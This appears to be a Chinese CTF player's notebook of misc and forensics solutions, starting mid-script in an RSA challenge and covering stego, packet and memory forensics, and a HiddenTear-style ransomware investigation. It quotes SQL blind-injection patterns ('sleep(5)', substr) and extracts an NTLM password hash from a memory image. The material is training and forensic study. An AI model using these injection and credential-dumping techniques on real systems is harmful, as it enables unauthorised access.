    print("Finished in {} seconds.".format(end - start))
    return proot

def findAllSolutions(mp, proot, cp, p):
    print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
    start = time.time()
    all_mp = set()
    for root in proot:
        mp2 = mp * root % p
        assert(pow(mp2, e, p) == cp)
        all_mp.add(mp2)
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return all_mp


c = 821562155714228494350968286343241874202753771452745916900616612053610190986294297934462409534126095213198464996196364868528238538372119009517541428785632007137206972918081643841690069171088425923887930051635578719252415693144672179185417101210954906623326286804995637775062840407550493095027500638719998

p = 19897846550210846565807788524492364050901480736489979129040638436463635149815428186161001280958415730930156556581274966745574164608778242980049611665461488306439665507971670397595035647317930606555771720849158745264269952668944940061576328219674721623208805067371087817766416300084129945316973502412996143
#q = 112213695905472142415221444515326532320352429478341683352811183503269676555434601229013679319423878238944956830244386653674413411658696751173844443394608246716053086226910581400528167848306119179879115809778793093611381764939789057524575349501163689452810148280625226541609383166347879832134495444706697124741
e=1801
cp = c % p
#cq = c % q
mp = AMM(cp, e, p)
#mq = AMM(cq, e, q)
p_proot = findAllPRoot(p, e)
#q_proot = findAllPRoot(q, e)
mps = findAllSolutions(mp, p_proot, cp, p)
#mqs = findAllSolutions(mq, q_proot, cq, q)
#print(mps, mqs)
def check(m):
    h = hex(m)[2:]
    if len(h) & 1:
        return False

    if bytes.fromhex(h).startswith(b'flag'):
        print( bytes.fromhex(h))
        return True
    else:
        return False


start = time.time()
print('Start CRT...')

for mpp in mps:
    check(mpp)

print(time.time() - start)

end = time.time()
print("Finished in {} seconds.".format(end - start))

运行得到

image-20241128134747519

密码学小白,不会但会记下来


[闽盾杯 2021]DNS协议分析

DNS协议

流量包,协议分级,DNS最多并且根据题目也知道要选中dns

在追踪流发现了

image-20241128150019824

image-20241128150040690

image-20241128150102429

image-20241128150151097

image-20241128150203171

image-20241128150219095

image-20241128150236303

image-20241128150248461

这些都是在i6ov08前面有一小串字符串,看起来像是经过了编码

ZmxhZ3tlNj ZmxhZ3 ZmxhZ3tlNj YyYWMxNTRj YyYWMxNTRj YTM3NmUxYz AwMWVlOGJi ZTgxMzE4Yn0K

有一些是一样的,删除最后得到:

ZmxhZ3tlNjYyYWMxNTRjYTM3NmUxYzAwMWVlOGJiZTgxMzE4Yn0K

拿去base64解码得到

image-20241128150917828


[NCTF 2018]HaveFun

掩码破解;数字8敏感一点;identify命令查看图象格式和特征;二进制

下载文件里面是一堆加密的gif和一个txt文件

image-20241130181720356

txt文件的大小是0,文件名称后面有下划线加上题目说的掩码,试试掩码破解密码,用wcy???试试,没有,再试试wcy????,还是没有,继续wcy?????

image-20241130182653876

得到密码wcy1sg4y,解压得到一大堆一样的gif

image-20241130182843311

尝试分解了一下一个,一共是8帧

image-20241130183832290

至此尝试了以前的多种方法都没有结果,卡住了

去找了wp,是用了identify命令来获取一个或者多个图象的格式和特性,运行命令:

identify -format "%T \n" filename

image-20241130184620446

应该是只有特定的几个不是0,叫AI弄个可执行脚本把全部的都试一遍

创建脚本文件

nano identify_files.sh

脚本内容如下

#!/bin/bash

# 确保传入一个目录路径

if [ -z "$1" ]; then
  echo "Usage: $0 <directory>"
  exit 1
fi

# 获取目录路径

DIR="$1"

# 确保目录存在

if [ ! -d "$DIR" ]; then
  echo "Directory does not exist: $DIR"
  exit 1
fi

# 遍历目录中的所有.gif文件

find "$DIR" -type f -iname "*.gif" | while read -r FILE; do

  # 执行 identify 命令并输出结果

  identify -format "%T \n" "$FILE"
done

Ctrl + X 保存并退出 nano 编辑器,输入 Y 确认保存,回车

给脚本赋予可执行权限

chmod +x identify_files.sh

执行

./identify_files.sh havefun

最后在不是0的里面得到了10 20 20 10 20 20 20 10 10 20 20 10 10 10 20 20 10 20 20 20 10 20 10 10 10 20 20 10 10 20 20 10 10 20 20 20 20 10 20 20 10 20 20 10 20 20 20 10 10 20 20 10 10 10 20 20 10 10 20 20 10 20 20 20 10 20 20 10 10 20 20 10 10 10 20 20 10 10 10 20 10 20 20 20 10 10 20 20 10 20 20 10 10 20 20 10 10 20 20 20 10 20 10 20 10 20 20 10 20 20 20 10 10 20 20 20 20 20 10 20

只有10和20,想到01,10转0,20转1得到

0 1 1 0 1 1 1 0 0 1 1 0 0 0 1 1 0 1 1 1 0 1 0 0 0 1 1 0 0 1 1 0 0 1 1 1 1 0 1 1 0 1 1 0 1 1 1 0 0 1 1 0 0 0 1 1 0 0 1 1 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 1 0 0 0 1 0 1 1 1 0 0 1 1 0 1 1 0 0 1 1 0 0 1 1 1 0 1 0 1 0 1 1 0 1 1 1 0 0 1 1 1 1 1 0 1

再拿去解码得到

image-20241130185744970


[NCTF 2018]I wanna play CTF

GM8Decompiler反编译工具;GameMaker Studio 8

游戏文件,打开界面如下

image-20241129105954122

玩了一会,被自己菜笑了,根本上不去

看了一些wp,有一些就是先通过一关,然后会得到一个文件,用010editor打开之后改变关卡数就可以在游戏界面看到一节一节的flag

还有一种就是用IDA打开,然后发现是GameMarker8编译的游戏,因为是小白所以这个我现在还是没搞明白为什么就知道是这个编译的游戏了,也问了AI照着去做没有得到结果。

需要下载工具GM8Decompiler,对文件进行反编译,运行命令

GM8Decompiler.exe "I wanna play CTF.exe" -o "output.gmk"

output.gmk是输出文件,得到gmk文件后,使用工具GameMaker Studio 8工具打开gmk文件,在左边的room栏中可以看到flag

image-20241129165613847

拼接起来就是nctf{pl4y1Ng-C7f_c4n_b3coMe_5Tr0n93r}

错了,试试nctf{pl4y1Ng_C7f_c4n_b3coMe_5Tr0n93r},这个对了


[HGAME 2022 week1]DancingLine

像素颜色值

bmp文件,如下图所示

image-20241129171407660

文件分离和字符串提取都没结果,010editor打开

image-20241129172513114

没有什么思绪,后面我又想着是不是左右方向分别代表0和1

尝试了一下发现还有斜着的线,感觉不是

把图片文件能试的都试了一下没有结果

这个题目就一个wp,只给了个代码

from PIL import Image

img = Image.open('Dancing Line.bmp')

size = img.size
c1 = img.getpixel((0,0)) #黑
c2 = img.getpixel((0,1)) #白
c3 = img.getpixel((1,0)) #蓝
print(c1,c2,c3, size)

flag = ''
tmp = ''
x,y = 0,0
while x<size[0]-1 and y<size[1]-1:
    if img.getpixel((x+1,y)) != c2:
        x+=1
        tmp+='0'
    else:
        y+=1
        tmp+='1'
    if img.getpixel((x,y)) == c1:
        flag += chr(int(tmp,2))
        tmp = ''

print(flag)

通过遍历图像像素,基于像素的颜色值构造一个二进制字符串,并将这个二进制字符串转换为字符

运行得到

image-20241130193416212

也算是一个解题思路了,当遇到一个图片里面的颜色比较少的时候尝试


[鹤城杯 2021]A_MISC

暴力破解;宽高隐写;sql时间盲注

zip文件,被加密了,直接暴力破解得到密码

image-20241203160909441

打开是一个图片

image-20241203160924739

百度网盘但是要提取码,用qwer去试了是错的

既然是png那就试试宽高

image-20241203161252582

得到提取码,下载文件是一个流量包

image-20241207164011347

选中http

image-20241207164044325

发现sql注入语句,可以用tshark提取

tshark -r file.pcap -Y "http.request" -T fields -e "urlencoded-form.value"  > data.txt

-Y "http.request":过滤器,用于筛选 HTTP 请求包

-T fields:输出的格式为字段(fields)模式,而不是默认的表格或详细模式。这样可以精确提取指定字段

-e "urlencoded-form.value":一个 HTTP 字段,表示 HTTP 请求中 URL 编码的表单数据

得到data.txt

image-20241207164405031

脚本提取

import re

def extract_flag_from_blind_injection(filename):
    with open(filename, "r", encoding="utf-8") as file:
        lines = file.readlines()
    

    # 存储每个位置的 ASCII 值
    correct_chars = {}
    
    # 匹配盲注语句的正则模式
    pattern = r"substring\(\(select .*?\),(\d+),1\)\)=([0-9]+),sleep\(5\)"
    
    for line in lines:
        match = re.search(pattern, line)
        if match:
            position = int(match.group(1))  # 提取字符位置
            ascii_value = int(match.group(2))  # 提取 ASCII 值
    
            # 记录每个位置的正确 ASCII 值
            correct_chars[position] = ascii_value
    
    # 根据位置排序并拼接出 flag
    flag = ''.join(chr(correct_chars[pos]) for pos in sorted(correct_chars.keys()))
    return flag


# 文件路径

input_file = "data.txt"

# 提取并输出结果

flag = extract_flag_from_blind_injection(input_file)
print("Extracted Flag:", flag)


得到结果:flag{cd2c3e2fea463ded9af800d7155be7aq}~

[鹤城杯 2021]New MISC

wbstego4open工具

pdf文件

image-20241203171448905

这个有很多页,并且也没有发现什么有特别的信息

后面去网上搜了一下pdf隐写的工具,找到一个叫wbstego4open的pdf隐写工具, 可以把文件隐藏到BMP、 TXT、 HTM 和 PDF 文件中,下载然后打开

Continue然后选择decode

image-20241203221108729

image-20241203221133983

后面是要密码的,但是没有密码可以直接空密码点Continue

image-20241203221227287

然后选择保存路径

image-20241203221433914

得到文件打开

image-20241203221446832


[鹏城杯 2022]Misc_water

010editor;文件发现;盲水印

文件是一个压缩包和png,压缩包里面的内容被加密了,那就先分析png

image-20241203222019585

image-20241203223327042

binwalk有隐藏文件,分离得到

image-20241203223507944

隐藏的文件用常见的隐写方式一个个试

尝试了很多,没有发现信息

瞄了一眼题解,是原图里面还有东西,用010editor打开,会发现有两个png头,第二个png头的前面是jpg头的逆序

image-20241205220545335

确定文件的话,先把两个png删掉再进行逆序恢复

with open('jpg.jpg', 'rb') as f:
    with open('2.jpg', 'wb') as g:
        g.write(f.read()[::-1])

得到图片

image-20241205220806314

对png分析,发现是盲水印

image-20241205221018206

得到密码:passwd 2004#QaWbW

是错的,再试试,用其他的方案

image-20241205221612006

方案四清楚很多,试试ZG4#QaWbW,错了

ZC4#QaWbW,这回对了

得到图片

image-20241205221946000

010editor打开发现是png头

image-20241205222334632

改一下后缀得到png文件

宽高隐写,恢复得到

image-20241205222504272


[鹏城杯 2022]简单取证

内存取证;坐标画图

镜像文件,老样子先看操作系统

image-20241205225346828

查看进程

image-20241206115307729

有一个cmd,看看cmd命令

image-20241206115346805

有一个password是62b041223bb9a,不知道有没有用,先放着

然后再试文件,一个个看,先过滤ctf和flag,都没有,再txt,这个有一个但是没什么用,再试png,没有,jpg有一个secret.jpg

image-20241205225501753

保存改成jpg后缀,打不开图片

直接010editor打开发现一大串字符串

image-20241205225553637

这个最后结尾还有一个=,应该是base64,拿去解码

image-20241205225624383

这个在前面看看不出什么,但是最后的pk说明这是一个压缩包逆序文件,先保存然后逆序得到压缩包

image-20241206114008392

需要密码,之前在cmd得到的密码试试

打开文件

image-20241206115516922

一行两个数字,最小的是0,最大的是349,第二个数字一直从0到349,到了349之后第一个数字就会增1一直到349

只有两个数字并且数据很多,试试坐标画图

利用工具gunplot,输入命令:

plot "flag.txt"

image-20241206120526545

扫一下

image-20241206121158544

得到flag


[鹏城杯 2022]babybit

磁盘取证;注册表恢复;Windows Registry Recovery

题目描述:小明发现bitlocker加密的起止时间会被存储在注册表中,于是将注册表进行备份然后准备分析一下,可是不小心误删了备份文件,你可以帮小明恢复出删除的文件并找到bitlocker加密的开始和结束时间么?
flag格式为PCL{YYYY/MM/DD_HH:MM:SS_YYYY/MM/DD_HH:MM:SS},前面是开始时间,后面是结束时间。

vmk文件,之前做过类似的,记了笔记可以用7z打开

image-20241206173905260

image-20241206173924646

image-20241206173939103

image-20241206174000395

是错的flag

在一个压缩包里面发现四个文件

image-20241206190321750

感觉是有用的文件,但是记事本打开是乱码

去看了题解,上面四个文件就是注册表文件,用到了工具 Windows Registry Recovery,是一个用来修复损坏的 Windows 注册表文件的工具,在工具里面打开SYSTEM文件,在ROOT\ControlSet001\Control\FVEStats里的OsvEncryptInit和OsvEncryptComplete可以看到时间,我也不知道为什么是在这里

image-20241206190852039

image-20241206190908588

所以flag里面包裹的应该是2022/6/13_15:17:39_2022/6/13_15:23:46


[蓝帽杯 2022 初赛]计算机取证_1

内存取证密码hash值

从内存镜像中获得taqi7的开机密码是多少?

获取操作系统

image-20241206194018322

获取hash值

image-20241206194155926

得到taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::

  • taqi7:用户名
  • 1000:RID (Relative Identifier)。这是与用户名相关的标识符,用于标识用户在本地安全标识符 (SID) 中的唯一性
  • aad3b435b51404eeaad3b435b51404:LM 哈希 (LAN Manager Hash)
  • 7f21caca5685f10d9e849cc84c340528:NT 哈希 (NTLM Hash)。这是密码的 MD4 哈希,是 NTLMv1 和 NTLMv2 验证中常用的部分

解密得到image-20241207105232583

flag包裹的就是anxinqi


[蓝帽杯 2022 初赛]计算机取证_2

内存取证进程

制作该内存镜像的进程Pid号是多少?

枚举进程

image-20241207110105522

0xfffffa800f103b30 MagnetRAMCaptu 2192 2044 16 333 1 1 2022-04-28 05:54:30 UTC+0000

0xfffffa800f103b30:内存地址

MagnetRAMCaptu:进程名称。应该是MagnetRAMCapture,是一种内存取证工具,用于捕获操作系统当前的内存镜像,常用于数字取证和事件调查

2192:表示进程的 PID(Process Identifier),即进程 ID。每个运行中的进程都有唯一的 PID,方便识别

2044:表示进程的 PPID(Parent Process Identifier),即父进程的 ID。表示创建或管理该进程的上级进程的 ID

16:表示该进程当前的线程数

333:表示该进程的句柄数。句柄是操作系统分配给进程的资源(如文件、设备等)的标识符

1:通常表示进程的优先级类。优先级值会影响进程在 CPU 中的调度。优先级为 1 表示默认优先级

1:可能表示进程的执行状态(具体含义视工具而定)。通常 1 表示进程正在运行或活动

2022-04-28 05:54:30 UTC+0000:表示进程的创建时间

所以flag包裹的就是2192


[OtterCTF 2018]What the password?

内存取证明文密码

you got a sample of rick’s PC’s memory. can you get his user password?

题目说了密码就直接查看明文密码了

image-20241207115341202

发现密码是MortyIsReallyAnOtter


[OtterCTF 2018]General Info

注册表;主机名查看;IP

Let’s start easy - whats the PC’s name and IP address?

镜像文件,查看内存摘要

image-20241207172232665

之前发现这个工具有说明,然后就去看了一下,发现可以直接查看主机名和IP

image-20241207173405291

注册表:

image-20241207174538007

看了题解说主机名是在System的 ControlSet\Control\ComputerName\ComputerName条目中,执行命令

python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64  -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName\ComputerName"

因为这个直接在集成工具里面用不了就去用volatility了(请忽略一大堆报错)

image-20241207174800104

得到主机名:WIN-LO6FAF3DTFE

IP照着工具的说明使用netscan就可以查看

image-20241207175015101

所以包裹的就是WIN-LO6FAF3DTFE-192.168.202.131


[OtterCTF 2018]Play Time

进程查看;服务器查看netscan

Rick just loves to play some good old videogames.
can you tell which game is he playing?
whats the IP address of the server?

老操作,查看内存镜像,既然是问玩的什么游戏,那就先看进程

image-20241207180827855

有很多exe,但是不知道哪个是游戏所以把没见过的都拿出来备选

WmiPrvSE.exe

BitTorrent.exe

LunarMS.exe

再是netscan查看IP

image-20241207181229236

题目问的是服务器IP,所以应该看第二个IP

LunarMS.exe 对应77.102.199.102

WmiPrvSE.exe没有找到

BitTorrent.exe对应很多不同的IP

所以应该是第一个,包裹的是LunarMS-77.102.199.102


[OtterCTF 2018]Name Game

进程保存;关键字提取

We know that the account was logged in to a channel called Lunar-3. what is the account name?

之前的题目可以知道Lunar的PID是708,可以使用命令memdump将其保存,别用集成工具保存,因为它会把所有的进程全部保存下来,设置的PID根本没用

python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64  memdump -p 708 -D .

看题解说直接用得到的文件进行字符串搜索,使用strings和grep

strings 708.dmp | grep "Lunar-3" -A 10 -B 10

-A 10:在匹配到字符串后在后面再显示十行,after

-B 10:在匹配到字符串后在前面再显示十行,before

image-20241207184101101

有好几个字符串,有一些是有意义的,字符串0tt3r8r33z3为flag


[OtterCTF 2018]Name Game 2

十六进制关键字

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2}
What’s rick’s character’s name?

这个十六进制匹配后面一小段是固定的,就是5a0c00,用010editor打开然后查找

有很多个,试了用正则表达式查找但是匹配不到所以还是一个个看了,也差不多就在第十几个的样子

image-20241207190837561

所以是M0rtyL0L


[OtterCTF 2018]Silly Rick

剪切板查看

Silly rick always forgets his email’s password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick’s email password?

题目说了他总是复制粘贴所以直接查看剪切板

image-20241207191246272

flag是M@il_Pr0vid0rs


[OtterCTF 2018]Hide And Seek

进程;cmdline

The reason that we took rick’s PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)

查看进程

image-20241207192240708

这个我是一个个去尝试的,得到flag是vmware-tray.exe

去看了大佬的题解,说这个vmware-tray.exe的父进程是Rick And Morty.exe,这是很不对劲的,可以怀疑这个vmware-tray.exe进程实际上是恶意软件释放出来的子进程

cmdline模块可以追踪到程序的调用指令,工具内执行:

cmdline -p 3820,3720

image-20241207192603215

就是说父进程3820在这里看来是一个下载文件,可能是恶意软件的下载


[OtterCTF 2018]Path To Glory

strings;恶意软件进入PC

How did the malware got to rick’s PC? It must be one of rick old illegal habits…

之前的题目可以知道恶意文件的路径是C:\Torrents\Rick And Morty season 1 download.exe

可以在文件中找Rick And Morty season 1 download.exe

{EB56FF7E-9904-401D-BAF8-47C773680581}

里面有好几个,都保存了

感觉这个题目的问法很奇特,恶意软件是如何进入 rick 的 PC 的?这一定是老生常谈的非法习惯之一......

不知道怎么做就直接上strings,万一有有用信息呢

一个个试,有一些很长一大段,有一些很短

在0x000000007dae9350这个里面试出来了

image-20241208100944852

flag包裹的是M3an_T0rren7_4_R!cke,但是提交是错的

这里有个坑,看了题解才知道前面写了website19,所以最后的那个e是不算的,字符串刚刚好19个,所以flag应该是M3an_T0rren7_4_R!ck


[OtterCTF 2018]Path To Glory 2

种子文件

Continue the search after the way that malware got in.

在恶意软件进入的方式之后继续搜索

这个我是真的不知道哪里入手了,以为是在上个题目含有关键字的文件中继续寻找字符串,结果一个都没有

一下是题解思路:

根据前面torrent知道是种子文件,那肯定是通过谷歌浏览器下载的所以我们把思路放在chrome进程里面

运行

python2 vol.py -f OtterCTF.vmem --profile=Win7SP1x64 filescan | grep -i "chrome.*history*"

进行转存(前面还有一小段),因为我的虚拟机太慢了所以直接在显示文件中找了,得到是个数据库文件 发现该种子文件来源为一个mail地址

image-20241210222634514

保存

搜索关键字|grep "mail.com" 找到了rickopicko@mail.com邮件

这个是题解原话,但是我找了半天也没找到在哪,然后过滤rickopicko@mail.com也没有,不知道哪里出问题了,提取的文件看了确实是一样的

最后就是过滤邮件之后就会看到flag,包裹的是Hum@n_I5_Th3_Weak3s7_Link_In_Th3_Ch@in

去了解了一下什么是种子文件,这篇博客写的很详细,里面提到了其中种子的格式为torrent,因为那个Rick And Morty season 1 download.exe的上一级目录就是BitTorrent,种子文件就是下载链接先给你一个通过http或者其他下载的文件,下载好的文件后缀名是torrent,然后直接把下载好的文件拖入下载器去下载文件,比如拖入迅雷,他就会自动识别种子然后下载真正的文件

一文读懂Bt种子、磁力链接、直链、p2p这些下载的区别_bt链接-CSDN博客


[OtterCTF 2018]Bit 4 Bit

比特币地址;procdump;关键词猜测

We’ve found out that the malware is a ransomware. Find the attacker’s bitcoin address.

我们发现该恶意软件是一种勒索软件。找到攻击者的比特币地址

搜了一下什么是比特币地址

⽐特币地址是⼀个标识符(帐号),包含27-34个字母数字拉丁字符(0,O,I除外)。地址可以以QR码形式表⽰,是匿名的,不包含关于所有者的信息

地址⽰例:14qViLJfdGaP4EeHnDyJbEGQysnCpwn1gd

⼤多数⽐特币地址是34个字符。它们由随机数字和⼤写字母及⼩写字母组成,除了⼤写字母“O”,⼤写字母“I”,⼩写字母“l”。数字“0”不⽤于防⽌视觉模糊。某些⽐特币地址可能少于34个字符(少⾄26个)并且仍然有效。相当⼀部分的⽐特币地址只有33个字符,有些地址甚⾄可能更短。每个⽐特币地址代表⼀个数字。这些较短的地址是有效的,因为它们代表偶然发⽣以零开始的数字,并且当零被省略时,编码地址变短。 ⽐特币地址中的⼏个字符被⽤作校验和,以便可以⾃动发现和拒绝印刷错误。校验和还允许⽐特币软件确认33个字符(或更短)的地址实际上是有效的,⽽不仅仅是⼀个缺少字符的地址那么简单

如何获得比特币地址?

⽐特币的任何⽤户都可以免费获得地址。例如,使⽤Bitcoin Core(⽐特币核⼼客户端)时可以点击“新地址”并被⾃动分配⼀个地址。或者可以使⽤交易所或在软硬件钱包的账户里获得⽐特币地址

什么是比特币地址&三种地址格式对比 | CoinWallet讲堂 - 知乎

这个我找了很多有关键字bit的文件,提取了字符串但是也没有发现flag所以最终还是去看了题解

既然已经知道恶意软件的进程是3720了,那就把勒索病毒转存为可执行文件,使用命令procdump

procdump -p 3720 -D ./

得到文件

image-20241214215029724

使用工具IDA查看然后就找到一个字符串,那个就是flag

image-20241214220032686

这个是网上找的题解的截图,因为我太菜了不会用IDA所以找了很久都没有找到,看来要去学习IDA的使用了

还有一种解法:

先把恶意软件保存下来,使用memdump

然后再用strings对关键字进行提取,使用关键字ransomware,意思是勒索软件(这就是大佬的思路吗)

strings -e l 3720.dmp| grep -i -C 5 "ransomware"

-e l:指定以小端序模式(little-endian)提取字符串,适用于某些特定编码格式

-i:忽略大小写

-C 5:指定显示匹配行及上下各5行\

显示:

image-20241214220944213

flag包裹的是:1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M


[OtterCTF 2018]Graphic's For The Weak

恶意软件图片分析

There’s something fishy in the malware’s graphics.

恶意软件的图形中有一些可疑之处。

说到了图形,看看能分离出什么东西

image-20241214221335975

有很多,里面有图片,分离一下

image-20241214221516111

png

image-20241214221506984

前面三个是一样的

image-20241214221549447

得到flag


***[OtterCTF 2018]Recovery

Rick got to have his files recovered! What is the random password used to encrypt the files?

Rick 必须恢复他的文件!用于加密文件的随机密码是什么?

感觉这一整个下来基本都是学习了,因为都是从来没见过的

通过 ILSpy 得知密码长度为15个字符,格式为computerName+“-”+userName+“”+密码(也是反编译工具的使用)

在前面的一问当中知道了主机名是WIN-LO6FAF3DTFE,又知道了用户名是Rick,所以用主机名加用户名进行关键词搜索一

strings -eb OtterCTF.vmem| grep "WIN-LO6FAF3DTFE-Rick"

-e 指定字符编码格式(如果省略,默认是 ASCII)

b 表示以字节顺序读取

得到

image-20241214223405996

所以flag包裹的是:aDOBofVYUNVnmp7

等学会了反编译工具的使用之后再来看这道题目应该会有不一样的感觉,打个标记


[OtterCTF 2018]Closure

勒索软件HiddenTear;HiddenTearDecrypter

Now that you extracted the password from the memory, could you decrypt rick’s files?

现在您已经从内存中提取了密码,您可以解密 rick 的文件吗?

下面也是大佬的解题思路

查看桌面文件(这个filescan在集成工具里面不能过滤关键字不知道为什么)

image-20241214223054552

看到READ_IT和Flag文件,保存得到

READ_IT里面的内容是

image-20241214223758064

说明flag文件已经被加密了

在之前找到的图片里可以看到$ucyLocker,这是勒索软件HiddenTear 的变种,把flag.txt文件末尾的0删掉(这一步是为了爆破更快),再加后缀.locked

打开新工具HiddenTearDecrypter,密钥是aDOBofVYUNVnmp7

这个工具我还在研究当中

这个题目用这个工具解密出来得到的就是

image-20241214225247247

flag得到

image-20241214225309069


[EIS 2019]misc1

乱码word打开方式选择

一个txt文件,用记事本打开就是乱码

image-20241212224745109

010editor打开

image-20241212224804093

也是没有什么有用信息,尝试了strings、属性

image-20241212224845535

ak@a不是flag,零宽字符也不是,时间戳没有发现什么

卡了

后面看了题解可以用word打开,然后选择小写字母就可以看到flag

image-20241214214517628

又学到一种新的隐写方法

[MoeCTF 2022]A_band

一堆解密

文件打开一大堆二进制,拿去转ascii得到:

image-20241226211315225

十六进制,再转一下:

image-20241226211331545

aaencode,解密:

image-20241226211647578

后面的base32解密

image-20241226211727521

base58

image-20241226211753576

base64

image-20241226211815515

得到flag


[MoeCTF 2022]bell202

minimodem

题目描述::喂喂?这什么声音?喂?诶我调制解调器放哪了?

minimodem 是一个用于调制解调(modem)信号处理的工具,通常用于解码调制过的音频信号。它可以接收和发送各种调制格式的信号,如 1200bps 的 Bell 202 和其他标准调制解调协议

命令:

minimodem --rx -f moe_modem.wav 1200

minimodem:这是程序的名称,负责调制解调的操作

--rx:表示接收模式(receive mode)。minimodem 既可以在接收(RX)模式下工作,也可以在发送(TX)模式下工作。此标志指定它将从音频文件中解调(接收)信号

-f moe_modem.wav:指定要从中接收信号的音频文件。这里,moe_modem.wav 是包含调制信号的音频文件

1200:这指定了使用的波特率(baud rate)。1200bps 这个波特率通常与 Bell 202 调制解调协议相关,特别是在旧式调制解调器(如 1200bps Bell 202)中使用

在kali当中运行得到:

image-20241227143715486

得到flag


[MoeCTF 2022]cccrrc

CRC爆破

压缩包里面四个文件

image-20241227144811952

看文件大小和题目可以知道是CRC爆破,直接放进万能工具里面爆破

image-20241227144846957

得到flag包裹的是{qwq_crc!}


[MoeCTF 2022]Locked_bass

伪加密;base64

题目描述:你想玩贝斯?这锁虚挂着的,能踹

文件是一个压缩包,但是加密了,根据题目描述可知是伪加密,拿去010editor改一下

image-20241228224803251

打开文件得到

image-20241228224814133

解密

image-20241228224842581


[MoeCTF 2022]nyanyanya

lsb

图片隐写,zsteg

image-20241229212012776

得到flag


[MoeCTF 2022]rabbit

Rabbit无密钥解密

png文件,strings得到

image-20241229214710839

看开头应该是要密钥解密这串字符串,后面看属性的时候发现了很多有关pdf的信息

image-20241229214802653

以为是转pdf查看什么,结果找了半天也没找到什么有用的信息,能用的方法都用了,最后看了题解人家说可以不用密钥之间Rabbit解密orz

image-20241229214902684


[MoeCTF 2022]usb

usb键盘流量

看标题知道是usb流量,终于可以掏出新找到的工具试试了

image-20241229215330194

工具指路:cns1rius/USB_Gui: USB键鼠流量分析工具Gui


[MoeCTF 2022]what_do_you_recognize_me_by

文件头

010editor打开

image-20241229215637813

发现文件头被改了,改回去

image-20241229215703367

文件后缀改为png,打开得到一共二维码

image-20241229215755846

扫一下得到

image-20241229215834373


[MoeCTF 2022]zip套娃

暴力破解;伪加密

压缩包要密码,暴力破解一下

image-20241229220312872

得到密码,文件:

image-20241229220638129

用掩码破解得到第二个压缩包的密码

image-20241229220700018

里面只剩一个flag文件了,继续掩码破解

没有成功,看看是不是伪加密

image-20241229221027377

吧1改成0,打开文件

image-20241229221043478


[MoeCTF 2022]小纸条

猪圈密码

图片

image-20241230175041887

猪圈密码,对照着解密,注意没有曲线

image-20241230175110014


[MoeCTF 2022]想听点啥

mscz文件;异或

下载文件

image-20241230183813256

压缩包里面的文件:

image-20241230183832180

需要密码,应该是要从另外两个文件当中找

mscz文件去搜了一下,要一个特定的软件打开,叫MuseScore,打开文件在可以看到谱子

image-20241230184453544

在最后面可以看到字符串:MOECTFIliKEisTHEPASSWORD,所以密码是MOECTFIliKE是密码,不是

MOECTFIliKE

MoECTFIliKE

MOEcTFIliKE

MoEcTFIliKE

MOECTFI1iKE

MoECTFI1iKE

MOEcTFI1iKE

MoEcTFI1iKE

M0ECTFIlike

M0EcTFIliKE

M0ECTFI1iKE

M0EcTFI1iKE

IliKE

1liKE

上面几个都是备选密码,最后发现密码是MOECTFI1iKE,代码文件如下:

image-20241230195358105

代码是将整个字符串的字符与前一个字符做异或,第一个字符不参与,从第二个字符开始与前面一个字符发ascii码做异或

flag文本文件直接用记事本打开是乱码,用010editor打开

image-20241230195436433

解密脚本:

def decrypt(encrypted_bytes: bytes, first_char: str) -> str:
    # 解密过程:首先把第一个字符加回,之后按 XOR 运算逐个恢复字符
    decrypted_chars = [first_char]
    for i in range(1, len(encrypted_bytes) + 1):
        decrypted_chars.append(chr(encrypted_bytes[i-1] ^ ord(decrypted_chars[i-1])))
    return ''.join(decrypted_chars)

# 从文件读取加密后的字节数据
with open('flag.txt', 'rb') as f:
    encrypted_bytes = f.read()

# 第一个字符是 'm'
first_char = 'm'

# 解密
decrypted_flag = decrypt(encrypted_bytes, first_char)
print(decrypted_flag)

image-20241230200027357

得到flag,没有用到mp3文件


[黑盾杯 2020]blind

频域盲水印;png文件补全

image-20241230201757478

一张png和rar压缩包,压缩包要密码,所以密码应该是在png里面找,binwalk文件分离得到

image-20241230201849753

image-20241230201904023

两个一样的图片,并且根据题目想到盲水印

image-20241230201930626

这次用的不是之前那种,这个频域盲水印是第一次用,得到图片

image-20241230202103210

所以密码是Q@CTF@NX,得到图片

image-20241230202146553

这个pngcheck一下会发现报错了

image-20241230203251218

去010editor打开查看

image-20241230203317137

可以发现在最后一个chunk块的结尾后面还有IHDR,可以知道这个是把png文件头删掉了,导致binwalk看不带被隐藏的png文件,把文件头加上去

image-20241230203512999

binwalk

image-20241230203530189

分离得到图片

image-20241230203549503


[黑盾杯 2020]Blue

文件分离;伪加密;盲注

image-20241230203819092

一个很大的jpg,binwalk看看

image-20241230203906876

发现压缩包,分离得到压缩包,直接打开要密码,用7z打开查看

image-20241230204159297

发现并没有加密,伪加密改一下

image-20241230204222025

打开压缩包里面的流量包

image-20241230204314866

选中http

image-20241230204415752

过滤框改成只看请求,发现是盲注,导出为文本文件

image-20241230204826433

脚本跑一下

import re

# 初始化一个字典,存储按位置提取的 ASCII 值
ascii_by_position = {}

# 打开并读取数据文件
with open("111.txt", "r", encoding="utf-8") as f:
    for line in f.readlines():
        # 提取字符位置和对应的 ASCII 值
        match = re.search(r"substr\(\(.*?\),(\d+),1\)\)=([0-9]+)--\+", line)
        if match:
            position = int(match.group(1))  # 提取字符位置
            ascii_value = int(match.group(2))  # 提取 ASCII 值

            # 过滤 ASCII 范围,只记录可打印字符
            if 32 <= ascii_value <= 126:
                # 每个位置只存储一个值
                ascii_by_position[position] = ascii_value

# 按位置排序并拼接字符
flag = ''.join(chr(ascii_by_position[pos]) for pos in sorted(ascii_by_position.keys()))

# 输出提取的 flag
print("Extracted Flag:", flag)

image-20241230205002696


[黑盾杯 2020]Burps

CRC爆破

image-20241230205107222

看文件大小,一眼CRC爆破,拿去工具跑一下

image-20241230205356743

连起来就是the_password_here_cipher,密码就是一整串

image-20241230205541386

